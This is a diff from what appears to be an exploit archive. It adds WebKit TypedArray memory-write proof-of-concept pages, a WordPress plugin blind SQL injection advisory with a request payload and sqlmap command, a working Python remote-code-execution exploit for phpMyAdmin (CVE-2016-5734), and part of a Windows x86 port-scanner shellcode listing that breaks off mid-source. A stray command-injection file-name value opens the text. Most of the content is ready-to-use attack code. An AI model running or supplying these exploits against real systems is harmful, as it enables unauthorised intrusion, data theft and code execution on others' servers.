|
||||
test.xml&.`echo $PATH | cut -c1`shell
|
60
platforms/multiple/dos/40183.html
Executable file
60
platforms/multiple/dos/40183.html
Executable file
|
@ -0,0 +1,60 @@
|
|||
<!--
|
||||
There is a bug in TypedArray.fill that can be used to write to an absolute pointer.
|
||||
|
||||
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:
|
||||
|
||||
unsigned length = thisObject->length();
|
||||
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
|
||||
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
|
||||
|
||||
if (end < begin)
|
||||
return JSValue::encode(exec->thisValue());
|
||||
|
||||
if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
|
||||
return JSValue::encode(jsUndefined());
|
||||
|
||||
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
|
||||
|
||||
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).
|
||||
|
||||
Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
|
||||
-->
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
|
||||
function f(){
|
||||
try{
|
||||
alert("t");
|
||||
postMessage("test", "http://127.0.0.1", [q])
|
||||
alert(a.byteLength);
|
||||
alert(q.byteLength);
|
||||
} catch(e){
|
||||
alert(e.message);
|
||||
alert(a.byteLength)
|
||||
alert(q.byteLength);
|
||||
}
|
||||
return 0x12345678;
|
||||
}
|
||||
|
||||
alert(Date);
|
||||
|
||||
var q = new ArrayBuffer(0x7fffffff);
|
||||
var o = {valueOf : f}
|
||||
var a = new Uint8Array(q);
|
||||
|
||||
// alert(q.byteLength);
|
||||
var t = [];
|
||||
|
||||
try{
|
||||
a.fill(0x12, o, 0x77777777);
|
||||
} catch(e){
|
||||
|
||||
alert(e.message);
|
||||
|
||||
}
|
||||
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
56
platforms/multiple/dos/40184.html
Executable file
56
platforms/multiple/dos/40184.html
Executable file
|
@ -0,0 +1,56 @@
|
|||
<!--
|
||||
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer.
|
||||
|
||||
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:
|
||||
|
||||
long length = thisObject->length();
|
||||
long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
|
||||
long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
|
||||
long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
|
||||
|
||||
if (final < from)
|
||||
return JSValue::encode(exec->thisValue());
|
||||
|
||||
long count = std::min(length - std::max(to, from), final - from);
|
||||
|
||||
typename ViewClass::ElementType* array = thisObject->typedVector();
|
||||
memmove(array + to, array + from, count * thisObject->elementSize);
|
||||
|
||||
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
|
||||
|
||||
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
|
||||
-->
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
|
||||
function f(){
|
||||
try{
|
||||
alert("t");
|
||||
postMessage("test", "http://127.0.0.1", [q])
|
||||
alert(a.byteLength);
|
||||
alert(q.byteLength);
|
||||
} catch(e){
|
||||
alert(e.message);
|
||||
alert(a.byteLength)
|
||||
alert(q.byteLength);
|
||||
}
|
||||
return 0x22345678;
|
||||
}
|
||||
|
||||
alert(Date);
|
||||
|
||||
var q = new ArrayBuffer(0x7fffffff);
|
||||
var o = {valueOf : f}
|
||||
var a = new Uint8Array(q);
|
||||
|
||||
// alert(q.byteLength);
|
||||
var t = [];
|
||||
|
||||
a.copyWithin(0x12345678, o, 0x32345678);
|
||||
|
||||
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
100
platforms/php/webapps/40174.txt
Executable file
100
platforms/php/webapps/40174.txt
Executable file
|
@ -0,0 +1,100 @@
|
|||
# Exploit Title: Wordpress Ultimate-Product-Catalog <= 3.9.8 (do_shortcode via ajax) Unsanitized shortcode attributes - Unauthenticated Blind SQL Injection
|
||||
# Date: 2016-07-28
|
||||
# Google Dork: "Index of /wp-content/plugins/ultimate-product-catalogue/"
|
||||
# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]
|
||||
# Vendor Homepage: http://www.EtoileWebDesign.com/
|
||||
# plugin uri: http://www.EtoileWebDesign.com/ultimate-product-catalogue/
|
||||
# Software Link:
|
||||
# Version: <=3.9.8
|
||||
# Tested on: windows 7 + firefox.
|
||||
|
||||
====================
|
||||
DESCRIPTION
|
||||
====================
|
||||
|
||||
A vulnerability has been discvered in the wordpress Ultimate Product Catalog by affecting v3.9.8 and below (tested).
|
||||
Due to a unsanitized parameters passed to the shorcode function `Insert_Product_Catalog` [ "product-catalogue" ]
|
||||
located in `/Funtions/Shortcodes.php` line 4:
|
||||
|
||||
function Insert_Product_Catalog($atts) {
|
||||
// Select the catalogue information from the database
|
||||
...
|
||||
|
||||
$Catalogue = $wpdb->get_row("SELECT * FROM $catalogues_table_name WHERE Catalogue_ID=" . $id);
|
||||
$CatalogueItems = $wpdb->get_results("SELECT * FROM $catalogue_items_table_name WHERE Catalogue_ID=" . $id . " ORDER BY Position");
|
||||
...
|
||||
|
||||
return $ProductString;
|
||||
}
|
||||
|
||||
The $id parameter is extracted with `extract` function from $atts. This is a vulnerability with which can be exploited by creating shortcodes with
|
||||
malicious attributes, exploitable only by administrators, editors, authors. But in file `/Functions/Process_Ajax.php` line 113...
|
||||
|
||||
function UPCP_Filter_Catalogue() {
|
||||
$Path = ABSPATH . 'wp-load.php';
|
||||
include_once($Path);
|
||||
|
||||
$id = $_POST['id']; <-- we can control this value!!
|
||||
|
||||
...
|
||||
|
||||
echo do_shortcode("[product-catalogue id='" . $id . "' only_inner='Yes' starting_layout='" . $start_layout . "' excluded_layouts='" . $exclude_layouts . "' current_page='" . $current_page . "' ajax_reload='" . $ajax_reload . "' ajax_url='" . $ajax_url . "' request_count='" . $request_count . "' category='" . $Category . "' subcategory='" . $SubCategory . "' tags='" . $Tags . "' custom_fields='" . $Custom_Fields . "' prod_name='" . $Prod_Name . "' min_price='" . $Min_Price . "' max_price='" . $Max_Price . "']");
|
||||
}
|
||||
|
||||
|
||||
This is interesting because that function calls `do_shortcode` executing the shortcode 'product-catalogue' as a result, this calls `Insert_Product_Catalog` wich
|
||||
I found the SQLi, now we need to found a place where ` UPCP_Filter_Catalogue` is called and in line 138-139 i found...
|
||||
|
||||
...
|
||||
add_action('wp_ajax_update_catalogue', 'UPCP_Filter_Catalogue');
|
||||
add_action( 'wp_ajax_nopriv_update_catalogue', 'UPCP_Filter_Catalogue');
|
||||
...
|
||||
|
||||
this means that we can execute that function only with a request to `/wp-admin/admin-ajax.php?action=update_catalogue` and send the vulnerable $id parameter
|
||||
with our custom payload. Note that `wp_ajax_nopriv` prefix makes this vulnerability exploitable by unauthenticated users.
|
||||
|
||||
Example:
|
||||
|
||||
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue
|
||||
|
||||
POSTDATA: id=0+or+(our+custom+select+here)+--
|
||||
|
||||
|
||||
An attacker can exploit this vulnerability and compromise all user records or take over control of the host machine.
|
||||
|
||||
==============
|
||||
POC
|
||||
==============
|
||||
-----------------
|
||||
//REQUEST
|
||||
------------------
|
||||
|
||||
POST /wordpress/wp-admin/admin-ajax.php?action=update_catalogue HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 21
|
||||
Accept: */*
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: es-ES,es;q=0.8
|
||||
Cookie:
|
||||
|
||||
id=1+OR+SLEEP(10)+--+
|
||||
|
||||
--------------------------
|
||||
EXPLOITING WITH SQLMAP
|
||||
------------------------
|
||||
|
||||
sqlmap --url="http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue" --data="id=1" --level=5 --risk=3 --technique=B -p id --dbs --dbms=mysql
|
||||
|
||||
(listing all available databases)
|
||||
|
||||
|
||||
==================================
|
||||
time-line
|
||||
===================================
|
||||
|
||||
2016-07-28: reported to vendor.
|
||||
2016-07-28: vendor released plugin version 3.9.9. saying in changelog "Minor ajax update to switch to a prepared statement".
|
||||
2016-07-29: public disclousure.
|
||||
===================================
|
119
platforms/php/webapps/40185.py
Executable file
119
platforms/php/webapps/40185.py
Executable file
|
@ -0,0 +1,119 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
|
||||
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
|
||||
CVE: CVE-2016-5734
|
||||
Author: https://twitter.com/iamsecurity
|
||||
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
|
||||
"""
|
||||
|
||||
import requests
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
__author__ = "@iamsecurity"
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("url", type=str, help="URL with path to PMA")
|
||||
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
|
||||
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
|
||||
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
|
||||
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
|
||||
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
|
||||
arguments = parser.parse_args()
|
||||
url_to_pma = arguments.url
|
||||
uname = arguments.user
|
||||
upass = arguments.pwd
|
||||
if arguments.dbs:
|
||||
db = arguments.dbs
|
||||
else:
|
||||
db = "test"
|
||||
token = False
|
||||
custom_table = False
|
||||
if arguments.table:
|
||||
custom_table = True
|
||||
table = arguments.table
|
||||
else:
|
||||
table = "prgpwn"
|
||||
if arguments.cmd:
|
||||
payload = arguments.cmd
|
||||
else:
|
||||
payload = "system('uname -a');"
|
||||
|
||||
size = 32
|
||||
s = requests.Session()
|
||||
# you can manually add proxy support it's very simple ;)
|
||||
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
|
||||
s.verify = False
|
||||
sql = '''CREATE TABLE `{0}` (
|
||||
`first` varchar(10) CHARACTER SET utf8 NOT NULL
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
|
||||
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
|
||||
'''.format(table)
|
||||
|
||||
# get_token
|
||||
resp = s.post(url_to_pma + "/?lang=en", dict(
|
||||
pma_username=uname,
|
||||
pma_password=upass
|
||||
))
|
||||
if resp.status_code is 200:
|
||||
token_place = resp.text.find("token=") + 6
|
||||
token = resp.text[token_place:token_place + 32]
|
||||
if token is False:
|
||||
print("Cannot get valid authorization token.")
|
||||
sys.exit(1)
|
||||
|
||||
if custom_table is False:
|
||||
data = {
|
||||
"is_js_confirmed": "0",
|
||||
"db": db,
|
||||
"token": token,
|
||||
"pos": "0",
|
||||
"sql_query": sql,
|
||||
"sql_delimiter": ";",
|
||||
"show_query": "0",
|
||||
"fk_checks": "0",
|
||||
"SQL": "Go",
|
||||
"ajax_request": "true",
|
||||
"ajax_page_request": "true",
|
||||
}
|
||||
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
|
||||
if resp.status_code == 200:
|
||||
if "success" in resp.json():
|
||||
if resp.json()["success"] is False:
|
||||
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
|
||||
error = first[:first.find("</code>")]
|
||||
if "already exists" in error:
|
||||
print(error)
|
||||
else:
|
||||
print("ERROR: " + error)
|
||||
sys.exit(1)
|
||||
# build exploit
|
||||
exploit = {
|
||||
"db": db,
|
||||
"table": table,
|
||||
"token": token,
|
||||
"goto": "sql.php",
|
||||
"find": "0/e\0",
|
||||
"replaceWith": payload,
|
||||
"columnIndex": "0",
|
||||
"useRegex": "on",
|
||||
"submit": "Go",
|
||||
"ajax_request": "true"
|
||||
}
|
||||
resp = s.post(
|
||||
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
|
||||
)
|
||||
if resp.status_code == 200:
|
||||
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
|
||||
if len(result):
|
||||
print("result: " + result)
|
||||
sys.exit(0)
|
||||
print(
|
||||
"Exploit failed!\n"
|
||||
"Try to manually set exploit parameters like --table, --database and --token.\n"
|
||||
"Remember that servers with PHP version greater than 5.4.6"
|
||||
" is not exploitable, because of warning about null byte in regexp"
|
||||
)
|
||||
sys.exit(1)
|
583
platforms/win_x86/shellcode/40175.c
Executable file
583
platforms/win_x86/shellcode/40175.c
Executable file
|
@ -0,0 +1,583 @@
|
|||
/*
|
||||
# Title : Windows x86 localhost port scanner shellcode
|
||||
# Date : 29-07-2016
|
||||
# Author : Roziul Hasan Khan Shifat
|
||||
# Tested on : Windows 7 x86 starter
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
00000000 <_start>:
|
||||
0: 31 db xor %ebx,%ebx
|
||||
2: 64 8b 43 30 mov %fs:0x30(%ebx),%eax
|
||||
6: 8b 40 0c mov 0xc(%eax),%eax
|
||||
9: 8b 70 14 mov 0x14(%eax),%esi
|
||||
c: ad lods %ds:(%esi),%eax
|
||||
d: 96 xchg %eax,%esi
|
||||
e: ad lods %ds:(%esi),%eax
|
||||
f: 8b 58 10 mov 0x10(%eax),%ebx
|
||||
12: 31 d2 xor %edx,%edx
|
||||
14: 8b 53 3c mov 0x3c(%ebx),%edx
|
||||
17: 01 da add %ebx,%edx
|
||||
19: 8b 52 78 mov 0x78(%edx),%edx
|
||||
1c: 01 da add %ebx,%edx
|
||||
1e: 8b 72 20 mov 0x20(%edx),%esi
|
||||
21: 01 de add %ebx,%esi
|
||||
23: 31 c9 xor %ecx,%ecx
|
||||
|
||||
00000025 <getp>:
|
||||
25: 41 inc %ecx
|
||||
26: ad lods %ds:(%esi),%eax
|
||||
27: 01 d8 add %ebx,%eax
|
||||
29: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
|
||||
2f: 75 f4 jne 25 <getp>
|
||||
31: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
|
||||
38: 75 eb jne 25 <getp>
|
||||
3a: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
|
||||
41: 75 e2 jne 25 <getp>
|
||||
43: 8b 72 1c mov 0x1c(%edx),%esi
|
||||
46: 01 de add %ebx,%esi
|
||||
48: 8b 14 8e mov (%esi,%ecx,4),%edx
|
||||
4b: 01 da add %ebx,%edx
|
||||
4d: 31 f6 xor %esi,%esi
|
||||
4f: 89 d6 mov %edx,%esi
|
||||
51: 89 df mov %ebx,%edi
|
||||
53: 31 c9 xor %ecx,%ecx
|
||||
55: 68 6c 6f 63 41 push $0x41636f6c
|
||||
5a: 88 4c 24 03 mov %cl,0x3(%esp)
|
||||
5e: 68 61 6c 41 6c push $0x6c416c61
|
||||
63: 68 47 6c 6f 62 push $0x626f6c47
|
||||
68: 54 push %esp
|
||||
69: 53 push %ebx
|
||||
6a: ff d2 call *%edx
|
||||
6c: 83 c4 0c add $0xc,%esp
|
||||
6f: 31 c9 xor %ecx,%ecx
|
||||
71: b1 20 mov $0x20,%cl
|
||||
73: 51 push %ecx
|
||||
74: 31 c9 xor %ecx,%ecx
|
||||
76: 51 push %ecx
|
||||
77: ff d0 call *%eax
|
||||
79: 89 f1 mov %esi,%ecx
|
||||
7b: 89 c6 mov %eax,%esi
|
||||
7d: 89 0e mov %ecx,(%esi)
|
||||
7f: 31 c9 xor %ecx,%ecx
|
||||
81: 68 65 65 41 41 push $0x41416565
|
||||
86: 88 4c 24 02 mov %cl,0x2(%esp)
|
||||
8a: 68 61 6c 46 72 push $0x72466c61
|
||||
8f: 68 47 6c 6f 62 push $0x626f6c47
|
||||
94: 54 push %esp
|
||||
95: 57 push %edi
|
||||
96: 8b 16 mov (%esi),%edx
|
||||
98: ff d2 call *%edx
|
||||
9a: 83 c4 0c add $0xc,%esp
|
||||
9d: 89 46 04 mov %eax,0x4(%esi)
|
||||
a0: 31 c9 xor %ecx,%ecx
|
||||
a2: 51 push %ecx
|
||||
a3: 68 61 72 79 41 push $0x41797261
|
||||
a8: 68 4c 69 62 72 push $0x7262694c
|
||||
ad: 68 4c 6f 61 64 push $0x64616f4c
|
||||
b2: 54 push %esp
|
||||
b3: 57 push %edi
|
||||
b4: 8b 16 mov (%esi),%edx
|
||||
b6: ff d2 call *%edx
|
||||
b8: 83 c4 0c add $0xc,%esp
|
||||
bb: 89 46 08 mov %eax,0x8(%esi)
|
||||
be: 31 c9 xor %ecx,%ecx
|
||||
c0: 68 6c 6c 41 41 push $0x41416c6c
|
||||
c5: 88 4c 24 02 mov %cl,0x2(%esp)
|
||||
c9: 68 72 74 2e 64 push $0x642e7472
|
||||
ce: 68 6d 73 76 63 push $0x6376736d
|
||||
d3: 54 push %esp
|
||||
d4: ff d0 call *%eax
|
||||
d6: 83 c4 0c add $0xc,%esp
|
||||
d9: 89 c7 mov %eax,%edi
|
||||
db: 31 c9 xor %ecx,%ecx
|
||||
dd: 51 push %ecx
|
||||
de: 68 74 66 5f 73 push $0x735f6674
|
||||
e3: 68 70 72 69 6e push $0x6e697270
|
||||
e8: 54 push %esp
|
||||
e9: 50 push %eax
|
||||
ea: 8b 16 mov (%esi),%edx
|
||||
ec: ff d2 call *%edx
|
||||
ee: 83 c4 08 add $0x8,%esp
|
||||
f1: 89 46 0c mov %eax,0xc(%esi)
|
||||
f4: 31 c9 xor %ecx,%ecx
|
||||
f6: 51 push %ecx
|
||||
f7: 68 65 78 69 74 push $0x74697865
|
||||
fc: 54 push %esp
|
||||
fd: 57 push %edi
|
||||
fe: 8b 16 mov (%esi),%edx
|
||||
100: ff d2 call *%edx
|
||||
102: 83 c4 08 add $0x8,%esp
|
||||
105: 89 46 10 mov %eax,0x10(%esi)
|
||||
108: 8b 56 08 mov 0x8(%esi),%edx
|
||||
10b: 31 c9 xor %ecx,%ecx
|
||||
10d: 68 64 6c 6c 41 push $0x416c6c64
|
||||
112: 88 4c 24 03 mov %cl,0x3(%esp)
|
||||
116: 68 6b 33 32 2e push $0x2e32336b
|
||||
11b: 68 77 73 6f 63 push $0x636f7377
|
||||
120: 54 push %esp
|
||||
121: ff d2 call *%edx
|
||||
123: 83 c4 0c add $0xc,%esp
|
||||
126: 89 c7 mov %eax,%edi
|
||||
128: 31 c9 xor %ecx,%ecx
|
||||
12a: 68 75 70 41 41 push $0x41417075
|
||||
12f: 88 4c 24 02 mov %cl,0x2(%esp)
|
||||
133: 68 74 61 72 74 push $0x74726174
|
||||
138: 68 57 53 41 53 push $0x53415357
|
||||
13d: 54 push %esp
|
||||
13e: 50 push %eax
|
||||
13f: 8b 16 mov (%esi),%edx
|
||||
141: ff d2 call *%edx
|
||||
143: 89 46 14 mov %eax,0x14(%esi)
|
||||
146: 83 c4 0c add $0xc,%esp
|
||||
149: 68 65 74 41 41 push $0x41417465
|
||||
14e: 31 c9 xor %ecx,%ecx
|
||||
150: 88 4c 24 02 mov %cl,0x2(%esp)
|
||||
154: 68 73 6f 63 6b push $0x6b636f73
|
||||
159: 54 push %esp
|
||||
15a: 57 push %edi
|
||||
15b: 8b 16 mov (%esi),%edx
|
||||
15d: ff d2 call *%edx
|
||||
15f: 89 46 18 mov %eax,0x18(%esi)
|
||||
162: 83 c4 08 add $0x8,%esp
|
||||
165: 68 65 63 74 41 push $0x41746365
|
||||
16a: 31 c9 xor %ecx,%ecx
|
||||
16c: 88 4c 24 03 mov %cl,0x3(%esp)
|
||||
170: 68 63 6f 6e 6e push $0x6e6e6f63
|
||||
175: 54 push %esp
|
||||
176: 57 push %edi
|
||||
177: 8b 16 mov (%esi),%edx
|
||||
179: ff d2 call *%edx
|
||||
17b: 83 c4 08 add $0x8,%esp
|
||||
17e: 89 46 1c mov %eax,0x1c(%esi)
|
||||
181: 31 c9 xor %ecx,%ecx
|
||||
183: 68 6b 65 74 41 push $0x4174656b
|
||||
188: 88 4c 24 03 mov %cl,0x3(%esp)
|
||||
18c: 68 65 73 6f 63 push $0x636f7365
|
||||
191: 68 63 6c 6f 73 push $0x736f6c63
|
||||
196: 54 push %esp
|
||||
197: 57 push %edi
|
||||
198: 8b 16 mov (%esi),%edx
|
||||
19a: ff d2 call *%edx
|
||||
19c: 83 c4 0c add $0xc,%esp
|
||||
19f: 89 46 08 mov %eax,0x8(%esi)
|
||||
1a2: 8b 56 14 mov 0x14(%esi),%edx
|
||||
1a5: 31 c9 xor %ecx,%ecx
|
||||
1a7: 66 b9 90 01 mov $0x190,%cx
|
||||
1ab: 29 cc sub %ecx,%esp
|
||||
1ad: 66 b9 02 02 mov $0x202,%cx
|
||||
1b1: 8d 1c 24 lea (%esp),%ebx
|
||||
1b4: 53 push %ebx
|
||||
1b5: 51 push %ecx
|
||||
1b6: ff d2 call *%edx
|
||||
1b8: 31 ff xor %edi,%edi
|
||||
|
||||
000001ba <scan>:
|
||||
1ba: 31 d2 xor %edx,%edx
|
||||
1bc: b2 06 mov $0x6,%dl
|
||||
1be: 52 push %edx
|
||||
1bf: 83 ea 05 sub $0x5,%edx
|
||||
1c2: 52 push %edx
|
||||
1c3: 42 inc %edx
|
||||
1c4: 52 push %edx
|
||||
1c5: 8b 56 18 mov 0x18(%esi),%edx
|
||||
1c8: ff d2 call *%edx
|
||||
1ca: 89 c3 mov %eax,%ebx
|
||||
1cc: 31 d2 xor %edx,%edx
|
||||
1ce: 52 push %edx
|
||||
1cf: 52 push %edx
|
||||
1d0: 52 push %edx
|
||||
1d1: 52 push %edx
|
||||
1d2: 31 c0 xor %eax,%eax
|
||||
1d4: b0 ff mov $0xff,%al
|
||||
1d6: 40 inc %eax
|
||||
1d7: f7 e7 mul %edi
|
||||
1d9: c6 04 24 02 movb $0x2,(%esp)
|
||||
1dd: 89 44 24 02 mov %eax,0x2(%esp)
|
||||
1e1: 8d 14 24 lea (%esp),%edx
|
||||
1e4: 31 c9 xor %ecx,%ecx
|
||||
1e6: b1 10 mov $0x10,%cl
|
||||
1e8: 53 push %ebx
|
||||
1e9: 51 push %ecx
|
||||
1ea: 52 push %edx
|
||||
1eb: 53 push %ebx
|
||||
1ec: 8b 46 1c mov 0x1c(%esi),%eax
|
||||
1ef: ff d0 call *%eax
|
||||
1f1: 5b pop %ebx
|
||||
1f2: 83 c4 10 add $0x10,%esp
|
||||
1f5: 31 c9 xor %ecx,%ecx
|
||||
1f7: 51 push %ecx
|
||||
1f8: 68 20 20 20 0a push $0xa202020
|
||||
1fd: 68 3e 20 25 64 push $0x6425203e
|
||||
202: 68 25 64 20 2d push $0x2d206425
|
||||
207: 54 push %esp
|
||||
208: 59 pop %ecx
|
||||
209: 50 push %eax
|
||||
20a: 57 push %edi
|
||||
20b: 51 push %ecx
|
||||
20c: 8b 46 0c mov 0xc(%esi),%eax
|
||||
20f: ff d0 call *%eax
|
||||
211: 83 c4 10 add $0x10,%esp
|
||||
214: 53 push %ebx
|
||||
215: 8b 46 08 mov 0x8(%esi),%eax
|
||||
218: ff d0 call *%eax
|
||||
21a: 47 inc %edi
|
||||
21b: 83 ff 65 cmp $0x65,%edi
|
||||
21e: 75 9a jne 1ba <scan>
|
||||
220: 8b 46 04 mov 0x4(%esi),%eax
|
||||
223: 8b 7e 10 mov 0x10(%esi),%edi
|
||||
226: 56 push %esi
|
||||
227: ff d0 call *%eax
|
||||
229: 50 push %eax
|
||||
22a: ff d7 call *%edi
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
|
||||
xor ebx,ebx
|
||||
mov eax,[fs:ebx+0x30]
|
||||
mov eax,[eax+0xc]
|
||||
mov esi,[eax+0x14]
|
||||
lodsd
|
||||
xchg esi,eax
|
||||
lodsd
|
||||
mov ebx,[eax+0x10] ;kernel32.dll base address
|
||||
|
||||
|
||||
xor edx,edx
|
||||
mov edx,[ebx+0x3c]
|
||||
add edx,ebx
|
||||
mov edx,[edx+0x78]
|
||||
add edx,ebx ;IMAGE_EXPORT_DIRECTORY
|
||||
|
||||
|
||||
mov esi,[edx+0x20]
|
||||
add esi,ebx ;AddressOfNames
|
||||
|
||||
xor ecx,ecx
|
||||
getp:
|
||||
inc ecx
|
||||
lodsd
|
||||
add eax,ebx
|
||||
cmp dword [eax],'GetP'
|
||||
jnz getp
|
||||
cmp dword [eax+4],'rocA'
|
||||
jnz getp
|
||||
cmp dword [eax+8],'ddre'
|
||||
jnz getp
|
||||
|
||||
mov esi,[edx+0x1c]
|
||||
add esi,ebx ;AddressOfFunctions
|
||||
|
||||
|
||||
mov edx,[esi+ecx*4]
|
||||
add edx,ebx ;GetProcAddress()
|
||||
|
||||
|
||||
;----------------------------------
|
||||
|
||||
xor esi,esi
|
||||
mov esi,edx ;GetProcAddress()
|
||||
mov edi,ebx ;kernel32 base address
|
||||
|
||||
;------------------------------
|
||||
|
||||
;finding address of GlobalAlloc()
|
||||
xor ecx,ecx
|
||||
push 0x41636f6c
|
||||
mov [esp+3],byte cl
|
||||
push 0x6c416c61
|
||||
push 0x626f6c47
|
||||
|
||||
push esp
|
||||
push ebx
|
||||
call edx
|
||||
add esp,12
|
||||
;---------------------------
|
||||
;GlobalAlloc(0x00,4*8) sizeof every function address 4 byte and i will store address of 8 functions
|
||||
|
||||
xor ecx,ecx
|
||||
mov cl,32
|
||||
push ecx
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
call eax
|
||||
|
||||
;--------------------------------
|
||||
|
||||
mov ecx,esi
|
||||
mov esi,eax
|
||||
|
||||
mov [esi],dword ecx ;GetProcAddress() at offset 0
|
||||
|
||||
;----------------------------------
|
||||
;finding address of GlobalFree()
|
||||
xor ecx,ecx
|
||||
push 0x41416565
|
||||
mov [esp+2],byte cl
|
||||
push 0x72466c61
|
||||
push 0x626f6c47
|
||||
|
||||
push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
add esp,12
|
||||
|
||||
;----------------------
|
||||
mov [esi+4],dword eax ;GlobalFree() at offset 4
|
||||
;------------------------
|
||||
;finding address of LoadLibraryA()
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x41797261
|
||||
push 0x7262694c
|
||||
push 0x64616f4c
|
||||
|
||||
push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
|
||||
add esp,12
|
||||
|
||||
;----------------------
|
||||
mov [esi+8],dword eax ;LoadLibraryA() at offset 8
|
||||
;------------------------
|
||||
|
||||
;loading msvcrt.dll
|
||||
xor ecx,ecx
|
||||
push 0x41416c6c
|
||||
mov [esp+2],byte cl
|
||||
push 0x642e7472
|
||||
push 0x6376736d
|
||||
|
||||
push esp
|
||||
call eax
|
||||
add esp,12
|
||||
|
||||
;-------------------------
|
||||
mov edi,eax ;msvcrt.dll base address
|
||||
;-----------------------
|
||||
;finding address of printf()
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x735f6674
|
||||
push 0x6e697270
|
||||
|
||||
push esp
|
||||
push eax
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
add esp,8
|
||||
;----------------------
|
||||
mov [esi+12],dword eax ;printf() at offset 12
|
||||
;---------------------
|
||||
;finding address of exit()
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 'exit'
|
||||
push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
add esp,8
|
||||
;---------------------
|
||||
mov [esi+16],dword eax ;exit() at offset 16
|
||||
;--------------------------------
|
||||
;loading wsock32.dll
|
||||
|
||||
mov edx,dword [esi+8]
|
||||
xor ecx,ecx
|
||||
push 0x416c6c64
|
||||
mov [esp+3],byte cl
|
||||
push 0x2e32336b
|
||||
push 0x636f7377
|
||||
|
||||
push esp
|
||||
call edx
|
||||
add esp,12
|
||||
;----------------------
|
||||
mov edi,eax ;wsock32.dll
|
||||
;---------------------
|
||||
;finding address of WSAStartup()
|
||||
xor ecx,ecx
|
||||
push 0x41417075
|
||||
mov [esp+2],byte cl
|
||||
push 0x74726174
|
||||
push 0x53415357
|
||||
|
||||
push esp
|
||||
push eax
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
;---------------------
|
||||
mov [esi+20],dword eax ;WSAStartup() at offset 20
|
||||
;----------------------
|
||||
add esp,12
|
||||
;finding address of socket()
|
||||
push 0x41417465
|
||||
xor ecx,ecx
|
||||
mov [esp+2],byte cl
|
||||
push 0x6b636f73
|
||||
|
||||
